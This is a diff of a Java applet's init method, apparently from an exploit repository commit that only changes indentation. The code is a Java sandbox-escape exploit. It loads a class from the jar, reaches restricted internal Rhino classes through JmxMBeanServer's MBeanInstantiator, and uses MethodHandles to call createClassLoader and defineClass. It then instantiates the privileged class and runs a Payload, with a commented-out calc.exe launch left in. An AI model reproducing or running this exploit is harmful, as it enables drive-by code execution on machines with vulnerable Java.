@@ -27,40 +27,40 @@ public void init()
27
27
{
28
28
try
29
29
{
30
- ByteArrayOutputStream bos = new ByteArrayOutputStream ();
31
- byte [] buffer = new byte [8192 ];
32
- int length ;
30
+ ByteArrayOutputStream bos = new ByteArrayOutputStream ();
31
+ byte [] buffer = new byte [8192 ];
32
+ int length ;
33
+
34
+ // read in the class file from the jar
35
+ InputStream is = getClass ().getResourceAsStream ("B.class" );
36
+ // and write it out to the byte array stream
37
+ while ( ( length = is .read ( buffer ) ) > 0 )
38
+ bos .write ( buffer , 0 , length );
39
+ // convert it to a simple byte array
40
+ buffer = bos .toByteArray ();
41
+
42
+ JmxMBeanServerBuilder localJmxMBeanServerBuilder = new JmxMBeanServerBuilder ();
43
+ JmxMBeanServer localJmxMBeanServer = (JmxMBeanServer )localJmxMBeanServerBuilder .newMBeanServer ("" , null , null );
44
+ MBeanInstantiator localMBeanInstantiator = localJmxMBeanServer .getMBeanInstantiator ();
45
+ ClassLoader a = null ;
46
+ Class localClass1 = localMBeanInstantiator .findClass ("sun.org.mozilla.javascript.internal.Context" , a );
47
+ Class localClass2 = localMBeanInstantiator .findClass ("sun.org.mozilla.javascript.internal.GeneratedClassLoader" , a );
48
+ MethodHandles .Lookup localLookup = MethodHandles .publicLookup ();
49
+ MethodType localMethodType1 = MethodType .methodType (MethodHandle .class , Class .class , new Class [] { MethodType .class });
50
+ MethodHandle localMethodHandle1 = localLookup .findVirtual (MethodHandles .Lookup .class , "findConstructor" , localMethodType1 );
51
+ MethodType localMethodType2 = MethodType .methodType (Void .TYPE );
52
+ MethodHandle localMethodHandle2 = (MethodHandle )localMethodHandle1 .invokeWithArguments (new Object [] { localLookup , localClass1 , localMethodType2 });
53
+ Object localObject1 = localMethodHandle2 .invokeWithArguments (new Object [0 ]);
54
+ MethodType localMethodType3 = MethodType .methodType (MethodHandle .class , Class .class , new Class [] { String .class , MethodType .class });
55
+ MethodHandle localMethodHandle3 = localLookup .findVirtual (MethodHandles .Lookup .class , "findVirtual" , localMethodType3 );
56
+ MethodType localMethodType4 = MethodType .methodType (localClass2 , ClassLoader .class );
57
+ MethodHandle localMethodHandle4 = (MethodHandle )localMethodHandle3 .invokeWithArguments (new Object [] { localLookup , localClass1 , "createClassLoader" , localMethodType4 });
58
+ Object localObject2 = localMethodHandle4 .invokeWithArguments (new Object [] { localObject1 , null });
59
+ MethodType localMethodType5 = MethodType .methodType (Class .class , String .class , new Class [] { byte [].class });
60
+ MethodHandle localMethodHandle5 = (MethodHandle )localMethodHandle3 .invokeWithArguments (new Object [] { localLookup , localClass2 ,"defineClass" , localMethodType5 });
61
+ Class localClass3 = (Class )localMethodHandle5 .invokeWithArguments (new Object [] { localObject2 , null , buffer });
62
+ localClass3 .newInstance ();
33
63
34
- // read in the class file from the jar
35
- InputStream is = getClass ().getResourceAsStream ("B.class" );
36
- // and write it out to the byte array stream
37
- while ( ( length = is .read ( buffer ) ) > 0 )
38
- bos .write ( buffer , 0 , length );
39
- // convert it to a simple byte array
40
- buffer = bos .toByteArray ();
41
-
42
- JmxMBeanServerBuilder localJmxMBeanServerBuilder = new JmxMBeanServerBuilder ();
43
- JmxMBeanServer localJmxMBeanServer = (JmxMBeanServer )localJmxMBeanServerBuilder .newMBeanServer ("" , null , null );
44
- MBeanInstantiator localMBeanInstantiator = localJmxMBeanServer .getMBeanInstantiator ();
45
- ClassLoader a = null ;
46
- Class localClass1 = localMBeanInstantiator .findClass ("sun.org.mozilla.javascript.internal.Context" , a );
47
- Class localClass2 = localMBeanInstantiator .findClass ("sun.org.mozilla.javascript.internal.GeneratedClassLoader" , a );
48
- MethodHandles .Lookup localLookup = MethodHandles .publicLookup ();
49
- MethodType localMethodType1 = MethodType .methodType (MethodHandle .class , Class .class , new Class [] { MethodType .class });
50
- MethodHandle localMethodHandle1 = localLookup .findVirtual (MethodHandles .Lookup .class , "findConstructor" , localMethodType1 );
51
- MethodType localMethodType2 = MethodType .methodType (Void .TYPE );
52
- MethodHandle localMethodHandle2 = (MethodHandle )localMethodHandle1 .invokeWithArguments (new Object [] { localLookup , localClass1 , localMethodType2 });
53
- Object localObject1 = localMethodHandle2 .invokeWithArguments (new Object [0 ]);
54
- MethodType localMethodType3 = MethodType .methodType (MethodHandle .class , Class .class , new Class [] { String .class , MethodType .class });
55
- MethodHandle localMethodHandle3 = localLookup .findVirtual (MethodHandles .Lookup .class , "findVirtual" , localMethodType3 );
56
- MethodType localMethodType4 = MethodType .methodType (localClass2 , ClassLoader .class );
57
- MethodHandle localMethodHandle4 = (MethodHandle )localMethodHandle3 .invokeWithArguments (new Object [] { localLookup , localClass1 , "createClassLoader" , localMethodType4 });
58
- Object localObject2 = localMethodHandle4 .invokeWithArguments (new Object [] { localObject1 , null });
59
- MethodType localMethodType5 = MethodType .methodType (Class .class , String .class , new Class [] { byte [].class });
60
- MethodHandle localMethodHandle5 = (MethodHandle )localMethodHandle3 .invokeWithArguments (new Object [] { localLookup , localClass2 ,"defineClass" , localMethodType5 });
61
- Class localClass3 = (Class )localMethodHandle5 .invokeWithArguments (new Object [] { localObject2 , null , buffer });
62
- localClass3 .newInstance ();
63
-
64
64
Payload .main (null );
65
65
//Runtime.getRuntime().exec("calc.exe");
66
66
}
0 commit comments